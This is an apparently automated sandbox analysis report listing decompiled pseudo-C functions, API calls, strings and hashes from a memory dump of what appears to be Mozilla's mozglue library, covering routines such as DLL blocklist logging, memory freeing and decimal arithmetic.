Instruction ID: 5971c8280909b1beeee04262441f10b0dd6d9e6e64684e97939454c81322492c
Opcode Fuzzy Hash: ed99600def44bd1b090343b4a0767f766b906c547afbb4fb5f3624cee96f2a35
Instruction Fuzzy Hash: 31F0623104820DAFEF442FE4B80DFAD7B699B85784F204455FF194B5929B6165408662

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E2200, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6D0E2200(void* _a4) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				int _t10;
				void* _t13;
				void* _t20;

				_t20 = _a4;
				WriteFile(_t20, "BlockedDllList=", 0xf,  &_v8, 0);
				_push(_t20);
				E6D0E2825(_t13, 0, _t20);
				_t10 = WriteFile(_t20, "\n", 1,  &_v8, 0);
				if( *0x6d10019d != 0) {
					_t10 = WriteFile(_t20, "BlocklistInitFailed=1\n", 0x16,  &_v8, 0);
				}
				if( *0x6d10019e != 0) {
					_t10 = WriteFile(_t20, "User32BeforeBlocklist=1\n", 0x18,  &_v8, 0);
				}
				return _t10;
			}

0x6d0e2205
0x6d0e2218
0x6d0e221e
0x6d0e221f
0x6d0e2232
0x6d0e223f
0x6d0e224e
0x6d0e224e
0x6d0e225b
0x6d0e226a
0x6d0e226a
0x6d0e2275

APIs

WriteFile.KERNEL32(?,BlockedDllList=,0000000F,?,00000000), ref: 6D0E2218

Part of subcall function 6D0E2825: EnterCriticalSection.KERNEL32(6D1001A4,6D0FBDB0,0000003C,6D0E2224,?), ref: 6D0E2839
Part of subcall function 6D0E2825: WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 6D0E2869
Part of subcall function 6D0E2825: WriteFile.KERNEL32(?,6D0FA48C,00000001,?,00000000,?,?,00000000,?,?,00000000), ref: 6D0E288C
Part of subcall function 6D0E2825: _ltoa.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,0000000A,?,?,00000000,?,?,00000000), ref: 6D0E28C8
Part of subcall function 6D0E2825: WriteFile.KERNEL32(?,?,?,?,00000000), ref: 6D0E28EC
Part of subcall function 6D0E2825: WriteFile.KERNEL32(?,6D0FA490,00000001,?,00000000), ref: 6D0E2905
Part of subcall function 6D0E2825: WriteFile.KERNEL32(?,6D0FA494,00000001,?,00000000,?,?,00000000), ref: 6D0E291C

WriteFile.KERNEL32(?,6D0FA5C8,00000001,?,00000000), ref: 6D0E2232
WriteFile.KERNEL32(?,BlocklistInitFailed=1,00000016,?,00000000), ref: 6D0E224E
WriteFile.KERNEL32(?,User32BeforeBlocklist=1,00000018,?,00000000), ref: 6D0E226A

Strings

BlockedDllList=, xrefs: 6D0E2212
User32BeforeBlocklist=1, xrefs: 6D0E2264
BlocklistInitFailed=1, xrefs: 6D0E2248

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite$CriticalEnterSection_ltoa
String ID: BlockedDllList=$BlocklistInitFailed=1$User32BeforeBlocklist=1
API String ID: 1469143545-275349794
Opcode ID: ca5bbcaa2450c4de0ce1887a94751fc1357ed91a05e40225530ccbc9dbfef40d
Instruction ID: 3eda49062bb625c31ffa96a14c6147015628a62e598f5cd6cae52106557abbdc
Opcode Fuzzy Hash: ca5bbcaa2450c4de0ce1887a94751fc1357ed91a05e40225530ccbc9dbfef40d
Instruction Fuzzy Hash: 1C0169B6540118BEFB219A61ED09FEF3BBCDBC6614F200059FE04E1082DBA41B4687A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E2170, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6D1000C8), ref: 6D0E2186
GetModuleHandleW.KERNEL32(ntdll.dll,LdrRegisterDllNotification), ref: 6D0E21AF
GetProcAddress.KERNEL32(00000000), ref: 6D0E21B6
jemalloc_purge_freed_pages.MOZGLUE(00000000,6D0E2280,00000000,6D1001C0), ref: 6D0E21CE
ReleaseSRWLockExclusive.KERNEL32(6D1000C8), ref: 6D0E21DE

Strings

LdrRegisterDllNotification, xrefs: 6D0E21A5
ntdll.dll, xrefs: 6D0E21AA

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireAddressHandleModuleProcReleasejemalloc_purge_freed_pages
String ID: LdrRegisterDllNotification$ntdll.dll
API String ID: 2968301848-742318871
Opcode ID: 693f17ae7231ee16d6c91c4f91c10afe6cf69ae4698c2654e31c27f695028404
Instruction ID: 9cfb712e8ee87720d792f9caa2a25728fe0ef5a0a5eb55d9dfee6d58e6206727
Opcode Fuzzy Hash: 693f17ae7231ee16d6c91c4f91c10afe6cf69ae4698c2654e31c27f695028404
Instruction Fuzzy Hash: 1C016DB5600209FFEB00AF76AC48F3EBBB8EB4A691F204159FE0597245CF7199018B95

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E815E, Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6D0E815E(void* __ebx, void* __edx, void* __edi, void* __esi, char _a4, intOrPtr _a8) {
				signed int _v12;
				char _v16;
				char _v32;
				signed int _v56;
				char _v368;
				char _v376;
				signed int _t25;
				intOrPtr _t33;
				intOrPtr _t35;
				void* _t55;
				intOrPtr _t58;
				intOrPtr _t63;
				struct _CRITICAL_SECTION* _t65;
				signed int _t68;
				signed int _t69;

				_t55 = __edx;
				EnterCriticalSection(0x6d10028c);
				_v16 = _a4;
				_t63 =  *((intOrPtr*)(E6D0E722B(0x6d1002a4,  &_a4,  &_v32)));
				if(_t63 == 0) {
					E6D0E90E5("MOZ_RELEASE_ASSERT(node) (Double-free?)");
					asm("int3");
					 *_t69 = 0xe5b;
					goto L6;
				} else {
					_t33 = _a8;
					if(_t33 == 0 ||  *((intOrPtr*)(_t63 + 0x18)) == _t33) {
						E6D0E6C68(0x6d10028c, 0x6d1002a4, 0x6d1002a4, _t63, _t63);
						_t35 =  *((intOrPtr*)(_t63 + 0x14));
						 *0x6d1002a8 =  *0x6d1002a8 - _t35;
						 *0x6d1002ac =  *0x6d1002ac - (_t35 + 0x000fffff & 0xfff00000);
						LeaveCriticalSection(0x6d10028c);
						__eflags =  *((intOrPtr*)(_t63 + 0x14)) + 0x000fffff & 0xfff00000;
						E6D0E7D7A(_t55,  *((intOrPtr*)(_t63 + 0x14)) + 0x000fffff & 0xfff00000,  *((intOrPtr*)(_t63 + 0x10)),  *((intOrPtr*)(_t63 + 0x14)) + 0x000fffff & 0xfff00000, 3);
						return E6D0E7AED(_t63);
					} else {
						E6D0E90E5("MOZ_RELEASE_ASSERT(!aArena || node->mArena == aArena)");
						asm("int3");
						 *_t69 = 0xe5d;
						L6:
						E6D0E8DD0();
						asm("int3");
						_t68 = _t69;
						_t25 =  *0x6d10003c; // 0x3dfc34f3
						_v56 = _t25 ^ _t68;
						if( *0x6d1001e4 != 0) {
							_push(_t63);
							_push(0x6d1002a4);
							EnterCriticalSection(0x6d100228);
							E6D0E335E( &_v368, 0x6d100248);
							_v16 = 0x6d10024c;
							_t58 =  *((intOrPtr*)(E6D0E7B92( &_v368,  &_v376) + 4));
							while(_t58 != 0) {
								_t16 = _t58 + 0xc; // 0xc
								_t65 = _t16;
								EnterCriticalSection(_t65);
								E6D0E577E(_t58, 1);
								LeaveCriticalSection(_t65);
								_t58 = E6D0E54B3( &_v368);
							}
							LeaveCriticalSection(0x6d100228);
						}
						__eflags = _v12 ^ _t68;
						return E6D0F70C0(_v12 ^ _t68);
					}
				}
			}

0x6d0e815e
0x6d0e816d
0x6d0e817b
0x6d0e818d
0x6d0e8191
0x6d0e8207
0x6d0e820c
0x6d0e820d
0x00000000
0x6d0e8193
0x6d0e8193
0x6d0e8198
0x6d0e81b6
0x6d0e81bb
0x6d0e81c3
0x6d0e81d0
0x6d0e81d7
0x6d0e81e7
0x6d0e81ed
0x6d0e8201
0x6d0e819f
0x6d0e81a4
0x6d0e81a9
0x6d0e81aa
0x6d0e8214
0x6d0e8214
0x6d0e8219
0x6d0e821b
0x6d0e8223
0x6d0e822a
0x6d0e8234
0x6d0e8236
0x6d0e8237
0x6d0e823d
0x6d0e824e
0x6d0e8259
0x6d0e826c
0x6d0e826f
0x6d0e8273
0x6d0e8273
0x6d0e8277
0x6d0e8281
0x6d0e8287
0x6d0e8298
0x6d0e8298
0x6d0e82a1
0x6d0e82a8
0x6d0e82ac
0x6d0e82b6
0x6d0e82b6
0x6d0e8198

APIs

EnterCriticalSection.KERNEL32(6D10028C,?,000FF000,000FF000,?,?,?,?,6D0E5AA3,000FF000,?,?,00000000,00000000), ref: 6D0E816D
LeaveCriticalSection.KERNEL32(6D10028C,000FF000,000FF000,?,?,?,?,?,6D0E5AA3,000FF000,?,?,00000000,00000000), ref: 6D0E81D7
EnterCriticalSection.KERNEL32(6D100228,6D1002A4,000FF000), ref: 6D0E823D
EnterCriticalSection.KERNEL32(?,?,6D100248), ref: 6D0E8277
LeaveCriticalSection.KERNEL32(?,00000001), ref: 6D0E8287
LeaveCriticalSection.KERNEL32(6D100228,?,6D100248), ref: 6D0E82A1

Strings

MOZ_RELEASE_ASSERT(node) (Double-free?), xrefs: 6D0E8202
MOZ_RELEASE_ASSERT(!aArena || node->mArena == aArena), xrefs: 6D0E819F

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave
String ID: MOZ_RELEASE_ASSERT(!aArena || node->mArena == aArena)$MOZ_RELEASE_ASSERT(node) (Double-free?)
API String ID: 3168844106-4158521235
Opcode ID: 1de49d3c8025e77f4272183f978a33a854d431d985a37b3d8b15625f1a1d937d
Instruction ID: 9f252665df7c51ef96e747b336fea3e7fd20a4851dcbc726a9534917bb011018
Opcode Fuzzy Hash: 1de49d3c8025e77f4272183f978a33a854d431d985a37b3d8b15625f1a1d937d
Instruction Fuzzy Hash: 11312435904208AFEB10BF65EC08FEE77B8EF85381F114959EE0993241DF749945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E2825, Relevance: 12.1, APIs: 8, Instructions: 94
fileCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6D0E2825(void* __ebx, void* __edi, void* __esi) {
				int _t30;
				void _t32;
				intOrPtr _t46;
				void* _t53;
				void* _t54;
				intOrPtr* _t56;
				void* _t58;
				void* _t59;
				signed int _t61;
				void** _t63;
				void* _t64;
				void* _t65;

				_t30 = E6D0F7890(__ebx, __edi, __esi, 0x6d0fbdb0, 0x3c);
				_t53 =  *(_t64 + 8);
				EnterCriticalSection(0x6d1001a4);
				 *(_t64 - 4) =  *(_t64 - 4) & 0x00000000;
				_t63 =  *0x6d1000d4; // 0x0
				while(_t63 != 0) {
					_t54 =  *_t63;
					_t58 = _t54 + 1;
					do {
						_t32 =  *_t54;
						_t54 = _t54 + 1;
					} while (_t32 != 0);
					WriteFile(_t53,  *_t63, _t54 - _t58, _t64 - 0x48, 0);
					if((_t63[2] & _t63[3]) != 0xffffffff) {
						WriteFile(_t53, ",", 1, _t64 - 0x48, 0);
						 *((short*)(_t64 - 0x24)) = _t63[3];
						 *((short*)(_t64 - 0x22)) = _t63[3];
						 *((short*)(_t64 - 0x20)) = _t63[2];
						 *((short*)(_t64 - 0x1e)) = _t63[2];
						_t61 = 0;
						while(1) {
							 *(_t64 - 0x4c) = _t61;
							if(_t61 >= 4) {
								goto L12;
							}
							__imp___ltoa( *(_t64 + _t61 * 2 - 0x24) & 0x0000ffff, _t64 - 0x44, 0xa);
							_t65 = _t65 + 0xc;
							_t56 = _t64 - 0x44;
							_t59 = _t56 + 1;
							do {
								_t46 =  *_t56;
								_t56 = _t56 + 1;
							} while (_t46 != 0);
							WriteFile(_t53, _t64 - 0x44, _t56 - _t59, _t64 - 0x48, 0);
							if(_t61 != 3) {
								WriteFile(_t53, ".", 1, _t64 - 0x48, 0);
							}
							_t61 = _t61 + 1;
						}
					}
					L12:
					_t30 = WriteFile(_t53, ";", 1, _t64 - 0x48, 0);
					_t63 = _t63[4];
				}
				 *(_t64 - 4) = 0xfffffffe;
				LeaveCriticalSection(0x6d1001a4);
				return E6D0F78D9(_t30);
			}

0x6d0e282c
0x6d0e2831
0x6d0e2839
0x6d0e283f
0x6d0e2843
0x6d0e2849
0x6d0e2851
0x6d0e2853
0x6d0e2856
0x6d0e2856
0x6d0e2858
0x6d0e2859
0x6d0e2869
0x6d0e2878
0x6d0e288c
0x6d0e2896
0x6d0e289e
0x6d0e28a6
0x6d0e28ae
0x6d0e28b2
0x6d0e28b4
0x6d0e28b4
0x6d0e28ba
0x00000000
0x00000000
0x6d0e28c8
0x6d0e28ce
0x6d0e28d1
0x6d0e28d4
0x6d0e28d7
0x6d0e28d7
0x6d0e28d9
0x6d0e28da
0x6d0e28ec
0x6d0e28f5
0x6d0e2905
0x6d0e2905
0x6d0e290b
0x6d0e290b
0x6d0e28b4
0x6d0e290e
0x6d0e291c
0x6d0e2922
0x6d0e2922
0x6d0e2931
0x6d0e293d
0x6d0e2948

APIs

EnterCriticalSection.KERNEL32(6D1001A4,6D0FBDB0,0000003C,6D0E2224,?), ref: 6D0E2839
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 6D0E2869
WriteFile.KERNEL32(?,6D0FA48C,00000001,?,00000000,?,?,00000000,?,?,00000000), ref: 6D0E288C
_ltoa.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,0000000A,?,?,00000000,?,?,00000000), ref: 6D0E28C8
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 6D0E28EC
WriteFile.KERNEL32(?,6D0FA490,00000001,?,00000000), ref: 6D0E2905
WriteFile.KERNEL32(?,6D0FA494,00000001,?,00000000,?,?,00000000), ref: 6D0E291C
LeaveCriticalSection.KERNEL32(6D1001A4), ref: 6D0E293D

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite$CriticalSection$EnterLeave_ltoa
String ID:
API String ID: 2242151584-0
Opcode ID: 85fc300aed1391381bbf32e5ebeba0c12c1cf27a12c639d4aefef137ea7ab87d
Instruction ID: bfafe7380f880d7f9fcf71703562caaeba01de984a74058795e0ce4dac3ffd25
Opcode Fuzzy Hash: 85fc300aed1391381bbf32e5ebeba0c12c1cf27a12c639d4aefef137ea7ab87d
Instruction Fuzzy Hash: 8E316D7950020AAEEB24DFA0D944FEE77B9EF85300F204508FD56A7581D770A946CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E9300, Relevance: 12.1, APIs: 8, Instructions: 75stringCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,6D0E2424,00000008), ref: 6D0E9306
?mozalloc_handle_oom@@YAXI@Z.MOZGLUE(?,?,6D0E2424,00000008), ref: 6D0E931A
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(6D1000D8,?,?,?,6D0E2424,00000008), ref: 6D0E9337
?mozalloc_handle_oom@@YAXI@Z.MOZGLUE(?,?,?,?,6D0E2424,00000008), ref: 6D0E934A

Part of subcall function 6D0E91C0: mozalloc_abort.MOZGLUE(?,?,6D1000D8,00000001), ref: 6D0E921C

realloc.MOZGLUE(?,?,?,?,?,?,?,6D0E2424,00000008), ref: 6D0E9359
?mozalloc_handle_oom@@YAXI@Z.MOZGLUE(?,?,?,?,?,?,6D0E2424,00000008), ref: 6D0E936E
strdup.MOZGLUE(?,?,?,?,?,?,?,?,6D0E2424,00000008), ref: 6D0E9386
?mozalloc_handle_oom@@YAXI@Z.MOZGLUE(00000000,?,?,?,?,?,?,?,6D0E2424,00000008), ref: 6D0E9394

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: ?mozalloc_handle_oom@@$_errnomallocmozalloc_abortreallocstrdup
String ID:
API String ID: 4075702746-0
Opcode ID: 094d5d020b1dd4e3c4a73d03df422e8ebc36c31c9fe742557c996d10e816a9a8
Instruction ID: 7c1904e1dc7c5d523987611ac924bb52a66a1b88a8ac2b2b96fac23a633ee487
Opcode Fuzzy Hash: 094d5d020b1dd4e3c4a73d03df422e8ebc36c31c9fe742557c996d10e816a9a8
Instruction Fuzzy Hash: 9D01843100C20EBFEF055B6AFC0479C7BAADF012F9F11C065FA1C8A462EB32C9509680

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EDE00, Relevance: 10.7, APIs: 7, Instructions: 187
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6D0EDE00(signed int* __ecx, void* _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int* _v36;
				char _v40;
				char _v52;
				signed int _v56;
				void* _t67;
				void* _t70;
				void* _t72;
				signed int _t77;
				void* _t78;
				void* _t80;
				signed int* _t85;
				void* _t89;
				signed int _t94;
				signed int _t103;
				void* _t104;
				signed int _t106;
				signed int _t111;
				signed int _t113;
				signed int* _t114;
				signed int* _t115;
				unsigned int _t120;

				_v32 = 2;
				_t114 = _a8;
				_v40 = __ecx;
				_v36 = _t114;
				_t93 = 0 | __ecx[4] != _t114[4];
				_v56 = __ecx[4] != _t114[4];
				_t67 = E6D0EECEC( &_v40) - 1;
				if(_t67 == 0) {
					E6D0EF040(_a4);
					L40:
					L41:
					return _a4;
				}
				_t70 = _t67 - 1;
				if(_t70 == 0) {
					E6D0EFC47( &_v40, _a4);
					goto L41;
				}
				_t72 = _t70 - 1;
				if(_t72 == 0) {
					E6D0EED50(_a4, _t93);
					L36:
					goto L40;
				}
				if(_t72 == 1) {
					E6D0EFC80(_a4, _t93);
					goto L36;
				}
				if(_t114[3] != 3) {
					__eflags = __ecx[3] - 3;
					_v24 = __ecx[2] - _t114[2];
					if(__ecx[3] != 3) {
						_t103 =  *__ecx;
						asm("xorps xmm0, xmm0");
						_t113 = __ecx[1];
						_t77 =  *_t114;
						_t120 = _t114[1];
						asm("movlpd [ebp-0x20], xmm0");
						_t94 = _v32;
						_t115 = _v36;
						_a8 = _t103;
						_v8 = _t113;
						_v12 = _t77;
						_v20 = _t120;
						_v16 = _t94;
						do {
							__eflags = _t113 - _t120;
							if(__eflags > 0) {
								L24:
								_push(_t94);
								_t78 = E6D0F7CA0(_t103, _t113, _t77, _t120);
								_v32 = _t94;
								_t94 = _v16;
								_v28 = _t103;
								_t104 = _t78;
								_t80 = 0xa763ffff - _t104;
								asm("sbb esi, edx");
								__eflags = _t94 - 0xde0b6b3;
								if(__eflags > 0) {
									L29:
									_t113 = _v8;
									_t120 = _v20;
									L30:
									_t106 = (_t120 << 0x00000020 | _v12) >> 1;
									__eflags = _t113 - _t120 >> 1;
									if(__eflags < 0) {
										L34:
										E6D0ED880(_a4, _v56, _v24, _t115, _t94);
										goto L41;
									}
									if(__eflags > 0) {
										L33:
										_t115 =  &(_t115[0]);
										asm("adc ebx, 0x0");
										goto L34;
									}
									__eflags = _a8 - _t106;
									if(_a8 <= _t106) {
										goto L34;
									}
									goto L33;
								}
								if(__eflags < 0) {
									goto L27;
								}
								__eflags = _t115 - _t80;
								if(_t115 > _t80) {
									goto L29;
								}
								goto L27;
							}
							if(__eflags < 0) {
								while(1) {
									L15:
									__eflags = _t94 - 0x1634578;
									if(__eflags > 0) {
										break;
									}
									if(__eflags < 0) {
										L18:
										_a8 = E6D0F7E50(_t103, _t113, 0xa, 0);
										_v8 = _t113;
										_t85 = E6D0F7E50(_t115, _t94, 0xa, 0);
										_v24 = _v24 - 1;
										_t94 = _t113;
										_t113 = _v8;
										_t115 = _t85;
										_t103 = _a8;
										_t77 = _v12;
										__eflags = _t113 - _t120;
										if(__eflags < 0) {
											continue;
										}
										if(__eflags > 0) {
											break;
										}
										__eflags = _t103 - _t77;
										if(_t103 < _t77) {
											continue;
										}
										break;
									}
									__eflags = _t115 - 0x5d89ffff;
									if(_t115 >= 0x5d89ffff) {
										break;
									}
									goto L18;
								}
								_v16 = _t94;
								__eflags = _t113 - _t120;
								if(__eflags < 0) {
									goto L30;
								}
								if(__eflags > 0) {
									goto L24;
								}
								__eflags = _t103 - _t77;
								if(_t103 < _t77) {
									goto L30;
								}
								goto L24;
							}
							__eflags = _t103 - _t77;
							if(_t103 >= _t77) {
								goto L24;
							}
							goto L15;
							L27:
							_t120 = _v20;
							_t115 = _t115 + _t104;
							_t103 = _v28;
							asm("adc ebx, edx");
							_a8 = _t103;
							_t113 = _v32;
							__eflags = _t103 | _t113;
							_t77 = _v12;
							_v16 = _t94;
							_v8 = _t113;
						} while ((_t103 | _t113) != 0);
						goto L30;
					}
					E6D0ED8AB(_a4, _t93, 0, 0, 0);
					goto L41;
				}
				if(__ecx[3] != 3) {
					_t89 = E6D0EED50( &_v52, _t93);
				} else {
					_t89 = E6D0EF040( &_v52);
				}
				_t111 = 6;
				return memcpy(_a4, _t89, _t111 << 2);
			}

0x6d0ede0a
0x6d0ede12
0x6d0ede1a
0x6d0ede20
0x6d0ede26
0x6d0ede29
0x6d0ede31
0x6d0ede34
0x6d0edfde
0x6d0edfe3
0x6d0edfe4
0x00000000
0x6d0edfe4
0x6d0ede3a
0x6d0ede3d
0x6d0edfd4
0x00000000
0x6d0edfd4
0x6d0ede43
0x6d0ede46
0x6d0edfc7
0x6d0edfc0
0x00000000
0x6d0edfc0
0x6d0ede4f
0x6d0edfbb
0x00000000
0x6d0edfbb
0x6d0ede59
0x6d0ede90
0x6d0ede94
0x6d0ede97
0x6d0edeac
0x6d0edeae
0x6d0edeb1
0x6d0edeb4
0x6d0edeb6
0x6d0edeb9
0x6d0edebe
0x6d0edec1
0x6d0edec4
0x6d0edec7
0x6d0edeca
0x6d0edecd
0x6d0eded0
0x6d0eded3
0x6d0eded3
0x6d0eded5
0x6d0edf32
0x6d0edf32
0x6d0edf37
0x6d0edf3c
0x6d0edf40
0x6d0edf48
0x6d0edf4b
0x6d0edf52
0x6d0edf54
0x6d0edf56
0x6d0edf58
0x6d0edf85
0x6d0edf85
0x6d0edf88
0x6d0edf8b
0x6d0edf8e
0x6d0edf94
0x6d0edf96
0x6d0edfa5
0x6d0edfb0
0x00000000
0x6d0edfb0
0x6d0edf98
0x6d0edf9f
0x6d0edf9f
0x6d0edfa2
0x00000000
0x6d0edfa2
0x6d0edf9a
0x6d0edf9d
0x00000000
0x00000000
0x00000000
0x6d0edf9d
0x6d0edf5a
0x00000000
0x00000000
0x6d0edf5c
0x6d0edf5e
0x00000000
0x00000000
0x00000000
0x6d0edf5e
0x6d0eded7
0x6d0ededd
0x6d0ededd
0x6d0ededd
0x6d0edee3
0x00000000
0x00000000
0x6d0edee5
0x6d0edeef
0x6d0edf00
0x6d0edf03
0x6d0edf06
0x6d0edf0b
0x6d0edf0e
0x6d0edf10
0x6d0edf13
0x6d0edf15
0x6d0edf18
0x6d0edf1b
0x6d0edf1d
0x00000000
0x00000000
0x6d0edf1f
0x00000000
0x00000000
0x6d0edf21
0x6d0edf23
0x00000000
0x00000000
0x00000000
0x6d0edf23
0x6d0edee7
0x6d0edeed
0x00000000
0x00000000
0x00000000
0x6d0edeed
0x6d0edf25
0x6d0edf28
0x6d0edf2a
0x00000000
0x00000000
0x6d0edf2c
0x00000000
0x00000000
0x6d0edf2e
0x6d0edf30
0x00000000
0x00000000
0x00000000
0x6d0edf30
0x6d0eded9
0x6d0ededb
0x00000000
0x00000000
0x00000000
0x6d0edf60
0x6d0edf60
0x6d0edf63
0x6d0edf65
0x6d0edf6a
0x6d0edf6c
0x6d0edf6f
0x6d0edf72
0x6d0edf74
0x6d0edf77
0x6d0edf7a
0x6d0edf7a
0x00000000
0x6d0edf83
0x6d0edea2
0x00000000
0x6d0edea2
0x6d0ede62
0x6d0ede6e
0x6d0ede64
0x6d0ede65
0x6d0ede65
0x6d0ede7c
0x00000000

APIs

?nan@Decimal@blink@@SA?AV12@XZ.MOZGLUE(?), ref: 6D0EDE65
?infinity@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,00000000), ref: 6D0EDE6E
__aulldvrm.LIBCMT ref: 6D0EDF37
??0Decimal@blink@@QAE@W4Sign@01@H_K@Z.MOZGLUE(?,?,?,00000003,?,?,?,00000002), ref: 6D0EDFB0
?zero@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,00000000), ref: 6D0EDFBB
?infinity@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,00000000), ref: 6D0EDFC7
?nan@Decimal@blink@@SA?AV12@XZ.MOZGLUE(?), ref: 6D0EDFDE

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Decimal@blink@@$V12@$Sign@12@@$?infinity@?nan@$?zero@Sign@01@__aulldvrm
String ID:
API String ID: 3562196334-0
Opcode ID: 05afc803a4b065d71deb4cbb88c888ebfa3d153d2e3457a2d763a05fea2bd78b
Instruction ID: 2b70343da9ada38934ee69c421bc3b2a8347dd879c5871642cdb001cfeb8c1ca
Opcode Fuzzy Hash: 05afc803a4b065d71deb4cbb88c888ebfa3d153d2e3457a2d763a05fea2bd78b
Instruction Fuzzy Hash: 26515071E14209AFEB04DF65C990BAEF7F9FBC8795F21811AE814A7310E7349D408B61

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E266D, Relevance: 10.6, APIs: 7, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E6D0E266D(void* __ebx, void* __edx, void* __edi, void* __esi, signed char _a4) {
				signed int _v8;
				struct _OSVERSIONINFOEXA _v164;
				signed int _t16;
				intOrPtr _t19;
				signed char _t21;
				signed int _t22;
				longlong _t35;
				signed char _t41;
				signed int _t44;
				void* _t52;
				void* _t58;
				signed int _t59;

				_t52 = __edx;
				_t16 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t16 ^ _t59;
				_t44 =  *0x6d100b94; // 0xe
				_t19 =  *0x6d1001d4; // 0x0
				if(_t19 >  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x2c] + _t44 * 4)) + 8))) {
					E6D0F778B(0x6d1001d4);
					if( *0x6d1001d4 == 0xffffffff) {
						 *0x6d1001d8 =  *0x6d1001d8 | 0xffffffff;
						 *0x6d1001d0 = 0;
						E6D0F774C(0x6d1001d4, 0x6d1001d4);
					}
				}
				_t21 =  *0x6d1001d0; // 0x0
				_t41 = _a4;
				if(_t21 < _t41) {
					_t22 =  *0x6d1001d8; // 0x0
					if(_t41 >= _t22) {
						L7:
						goto L8;
					}
					memset( &_v164, 0, 0x9c);
					_v164.dwOSVersionInfoSize = 0x9c;
					_v164.dwMajorVersion = _t41 >> 0x18;
					_v164.dwMinorVersion = _t41 >> 0x00000010 & 0x000000ff;
					_t58 = 3;
					_v164.wServicePackMajor = _t41 >> 0x00000008 & 0x000000ff;
					_t35 = _t41 & 0x000000ff;
					_v164.wServicePackMinor = _t35;
					__imp__VerSetConditionMask(0, 0, 2, 0x9c);
					__imp__VerSetConditionMask(_t35, _t52, 1, 0x9c);
					__imp__VerSetConditionMask(_t35, _t52, 0x20, 0x9c);
					__imp__VerSetConditionMask(_t35, _t52, 0x10, _t58);
					_push(_t52);
					if(VerifyVersionInfoA( &_v164, 0x33, _t35) == 0) {
						 *0x6d1001d8 = _t41;
						goto L7;
					}
					 *0x6d1001d0 = _t41;
